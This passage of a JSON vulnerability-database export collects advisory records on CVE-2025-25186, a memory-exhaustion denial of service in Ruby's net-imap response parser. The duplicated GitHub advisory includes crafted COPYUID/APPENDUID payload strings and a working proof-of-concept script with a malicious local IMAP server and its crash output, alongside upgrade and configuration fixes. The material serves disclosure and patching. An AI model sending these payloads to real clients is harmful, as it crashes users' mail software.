parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`. These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers). Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference. Code that does handle these responses _may_ need to be updated. See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false` _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. _This is not significantly different from connecting to a trusted server with a long-lived connection._ To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n ```ruby\n limit = 1000\n imap.add_response_handler do |resp|\n next unless resp.respond_to?(:name) \u0026\u0026 resp.respond_to?(:data)\n name = resp.name\n code = resp.data.code\u0026.name if resp.data.respond_to?(:code)\n if Net::IMAP::VERSION \u003e \"0.4.0\"\n imap.responses(name) { _1.slice!(0...-limit) }\n imap.responses(code) { _1.slice!(0...-limit) }\n else\n imap.responses(name).slice!(0...-limit)\n imap.responses(code).slice!(0...-limit)\n end\n end\n ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire 'socket'\nrequire 'net/imap'\n\nif !defined?(Net::IMAP.config)\n puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n th = Thread.new do\n yield\n end\n sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n sock = server.accept\n begin\n sock.print \"* OK test server\\r\\n\"\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n\n malicious_response = appenduid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n\n malicious_response = copyuid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n rescue Exception =\u003e ex\n puts \"Error in server: #{ex.message} (#{ex.class})\"\n ensure\n sock.close\n server.close\n end\nend\n\n# client\nbegin\n puts \"Client connecting,..\"\n imap = Net::IMAP.new(server_addr, port: port)\n puts \"Received capabilities: #{imap.capability}\"\n pp responses: imap.responses\n imap.logout\nrescue Exception =\u003e ex\n puts \"Error in client: #{ex.message} (#{ex.class})\"\n puts ex.full_message\nensure\n imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process's virtual memory. The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 \u0026\u0026 exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'\n from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'\n from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'\n from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'\n from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'\n from /workspace/poc.rb:70:in '\u003cmain\u003e'\n```","status":"published","published":"2025-02-10T17:42:43Z","modified":"2025-04-30T20:43:07Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-400","CWE-405","CWE-409","CWE-770","CWE-789","CWE-1287"],"updated_at":"2026-11-02T14:38:42.263728Z"}],"nvd":[{"id":"CVE-2025-25186","description":"Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.","status":"published","published":"2025-02-10T16:15:39.457Z","modified":"2026-06-17T09:00:26.77Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-400","CWE-405","CWE-409","CWE-770","CWE-789","CWE-1287"],"updated_at":"2026-11-02T14:10:50.916773Z"}],"osv":[{"id":"BELL-CVE-2025-25186","status":"published","published":"2025-02-12T05:57:12.941918Z","modified":"2026-01-26T09:38:56.815209Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:28:21.491466Z"},{"id":"CVE-2025-25186","title":"Net::IMAP vulnerable to possible DoS by memory exhaustion","description":"Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.","status":"published","published":"2025-02-10T15:55:56.666Z","modified":"2026-10-28T02:30:22.617205051Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-1287","CWE-400","CWE-405","CWE-409","CWE-770","CWE-789"],"updated_at":"2026-11-02T15:44:47.386092Z"},{"id":"DEBIAN-CVE-2025-25186","description":"Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.","status":"published","published":"2025-02-10T16:15:39.457Z","modified":"2026-09-01T20:05:44.735611318Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:45:45.870237Z"},{"id":"GHSA-7fc5-f82f-cx69","title":"Possible DoS by memory exhaustion in net-imap","description":"### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP's `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn't validated. Arrays larger than\n# UINT32_MAX can be created. For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n parser = Net::IMAP::ResponseParser.new\n parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`. These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers). Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference. Code that does handle these responses _may_ need to be updated. See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false` _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. _This is not significantly different from connecting to a trusted server with a long-lived connection._ To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n ```ruby\n limit = 1000\n imap.add_response_handler do |resp|\n next unless resp.respond_to?(:name) \u0026\u0026 resp.respond_to?(:data)\n name = resp.name\n code = resp.data.code\u0026.name if resp.data.respond_to?(:code)\n if Net::IMAP::VERSION \u003e \"0.4.0\"\n imap.responses(name) { _1.slice!(0...-limit) }\n imap.responses(code) { _1.slice!(0...-limit) }\n else\n imap.responses(name).slice!(0...-limit)\n imap.responses(code).slice!(0...-limit)\n end\n end\n ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire 'socket'\nrequire 'net/imap'\n\nif !defined?(Net::IMAP.config)\n puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n th = Thread.new do\n yield\n end\n sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n sock = server.accept\n begin\n sock.print \"* OK test server\\r\\n\"\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n\n malicious_response = appenduid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n\n malicious_response = copyuid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n rescue Exception =\u003e ex\n puts \"Error in server: #{ex.message} (#{ex.class})\"\n ensure\n sock.close\n server.close\n end\nend\n\n# client\nbegin\n puts \"Client connecting,..\"\n imap = Net::IMAP.new(server_addr, port: port)\n puts \"Received capabilities: #{imap.capability}\"\n pp responses: imap.responses\n imap.logout\nrescue Exception =\u003e ex\n puts \"Error in client: #{ex.message} (#{ex.class})\"\n puts ex.full_message\nensure\n imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process's virtual memory. The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 \u0026\u0026 exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'\n from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'\n from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'\n from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'\n from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'\n from /workspace/poc.rb:70:in '\u003cmain\u003e'\n```","status":"published","published":"2025-02-10T17:42:43Z","modified":"2026-09-10T03:50:22.610809141Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"},{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-1287","CWE-400","CWE-405","CWE-409","CWE-770","CWE-789"],"updated_at":"2026-11-02T15:46:41.002603Z"},{"id":"OESA-2025-1195","title":"ruby security update","description":"Ruby is a fast and easy interpreted scripting language for object-oriented programming. It has many functions for processing text Files and perform system management tasks (such as Perl).\r\n\r\nSecurity Fix(es):\n\nNet::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in `net-imap`\u0026apos;s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client\u0026apos;s receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.(CVE-2025-25186)","status":"published","published":"2025-02-28T11:08:17Z","modified":"2026-08-18T01:18:47.887051364Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:42.253598Z"},{"id":"OESA-2025-1196","title":"ruby security update","description":"Ruby is a fast and easy interpreted scripting language for object-oriented programming. It has many functions for processing text Files and perform system management tasks (such as Perl).\r\n\r\nSecurity Fix(es):\n\nNet::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in `net-imap`\u0026apos;s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client\u0026apos;s receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.(CVE-2025-25186)","status":"published","published":"2025-02-28T11:08:17Z","modified":"2026-08-18T01:18:47.928855727Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:42.253598Z"},{"id":"RHSA-2025:10217","title":"Red Hat Security Advisory: ruby:3.3 security update","status":"published","published":"2025-07-03T10:02:56Z","modified":"2026-09-17T10:03:42Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:53:15.137262Z"},{"id":"RHSA-2025:4493","title":"Red Hat Security Advisory: ruby:3.3 security update","status":"published","published":"2025-05-06T10:04:02Z","modified":"2026-09-17T10:05:35Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:53:17.133041Z"},{"id":"RHSA-2025:8131","title":"Red Hat Security Advisory: ruby security update","status":"published","published":"2025-05-26T10:02:43Z","modified":"2026-09-17T10:05:49Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:53:17.634515Z"},{"id":"RLSA-2025:10217","title":"Moderate: ruby:3.3 security update","description":"Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.\n\nSecurity Fix(es):\n\n* net-imap: Net::IMAP vulnerable to possible DoS by memory exhaustion (CVE-2025-25186)\n\n* CGI: Denial of Service in CGI::Cookie.parse (CVE-2025-27219)\n\n* uri: userinfo leakage in URI#join, URI#merge and URI#+ (CVE-2025-27221)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2025-07-29T13:38:41.630147Z","modified":"2025-07-29T14:33:24.416382Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:53:24.923365Z"},{"id":"RLSA-2025:4493","title":"Moderate: ruby:3.3 security update","description":"Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.\n\nSecurity Fix(es):\n\n* net-imap: Net::IMAP vulnerable to possible DoS by memory exhaustion (CVE-2025-25186)\n\n* CGI: Denial of Service in CGI::Cookie.parse (CVE-2025-27219)\n\n* uri: userinfo leakage in URI#join, URI#merge and URI#+ (CVE-2025-27221)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2025-07-29T13:40:19.644888Z","modified":"2025-10-07T17:39:21.702176Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:53:25.216873Z"},{"id":"RLSA-2025:8131","title":"Moderate: ruby security update","description":"Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.\n\nSecurity Fix(es):\n\n* net-imap: Net::IMAP vulnerable to possible DoS by memory exhaustion (CVE-2025-25186)\n\n* CGI: Denial of Service in CGI::Cookie.parse (CVE-2025-27219)\n\n* uri: userinfo leakage in URI#join, URI#merge and URI#+ (CVE-2025-27221)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2025-10-03T19:56:45.27031Z","modified":"2025-10-08T17:12:40.844668Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:53:25.508922Z"},{"id":"UBUNTU-CVE-2025-25186","description":"Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.","status":"published","published":"2025-02-10T16:15:00Z","modified":"2026-04-22T15:39:59.965719Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T16:55:26.330196Z"},{"id":"ALSA-2025:10217","title":"Moderate: ruby:3.3 security update","description":"Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks. \n\nSecurity Fix(es): \n\n * net-imap: Net::IMAP vulnerable to possible DoS by memory exhaustion (CVE-2025-25186)\n * CGI: Denial of Service in CGI::Cookie.parse (CVE-2025-27219)\n * uri: userinfo leakage in URI#join, URI#merge and URI#+ (CVE-2025-27221)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2025-07-02T00:00:00Z","modified":"2026-10-29T11:02:26.344364278Z","updated_at":"2026-11-02T15:27:53.030731Z"},{"id":"ALSA-2025:8131","title":"Moderate: ruby security update","description":"Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks. \n\nSecurity Fix(es): \n\n * net-imap: Net::IMAP vulnerable to possible DoS by memory exhaustion (CVE-2025-25186)\n * CGI: Denial of Service in CGI::Cookie.parse (CVE-2025-27219)\n * uri: userinfo leakage in URI#join, URI#merge and URI#+ (CVE-2025-27221)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2025-05-26T00:00:00Z","modified":"2026-10-29T11:30:08.239960594Z","updated_at":"2026-11-02T15:27:53.448565Z"},{"id":"AZL-56555","title":"CVE-2025-25186 affecting package ruby for versions less than 3.3.5-3","description":"Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.","status":"published","published":"2025-02-10T16:15:39Z","modified":"2026-10-31T15:02:25Z","updated_at":"2026-11-02T15:28:07.209678Z"},{"id":"MGASA-2025-0290","title":"Updated ruby packages fix security vulnerabilities","description":"Net::IMAP vulnerable to possible DoS by memory exhaustion.\n(CVE-2025-25186)\nIn the CGI gem before 0.4.2 for Ruby, the CGI::Cookie.parse method in\nthe CGI library contains a potential Denial of Service (DoS)\nvulnerability. The method does not impose any limit on the length of the\nraw cookie value it processes. This oversight can lead to excessive\nresource consumption when parsing extremely large cookies.\n(CVE-2025-27219)\nIn the CGI gem before 0.4.2 for Ruby, a Regular Expression Denial of\nService (ReDoS) vulnerability exists in the Util#escapeElement method.\n(CVE-2025-27220)\nIn the URI gem before 1.0.3 for Ruby, the URI handling methods\n(URI.join, URI#merge, URI#+) have an inadvertent leakage of\nauthentication credentials because userinfo is retained even after\nchanging the host. (CVE-2025-27221)\n","status":"published","published":"2025-11-13T23:37:22Z","modified":"2026-04-16T04:44:45.047201304Z","updated_at":"2026-11-02T15:49:43.178336Z"},{"id":"USN-7418-1","title":"ruby2.7, ruby3.0, ruby3.2, ruby3.3 vulnerabilities","description":"It was discovered that Ruby incorrectly handled parsing of an XML document\nthat has specific XML characters in an attribute value using REXML gem. An\nattacker could use this issue to cause Ruby to crash, resulting in a\ndenial of service. This issue only affected in Ubuntu 22.04 LTS, Ubuntu\n24.04 LTS, and Ubuntu 24.10. (CVE-2024-35176, CVE-2024-39908,\nCVE-2024-41123, CVE-2024-43398)\n\nIt was discovered that Ruby incorrectly handled expanding ranges in the\nnet-imap response parser. If a user or automated system were tricked into\nconnecting to a malicious IMAP server, a 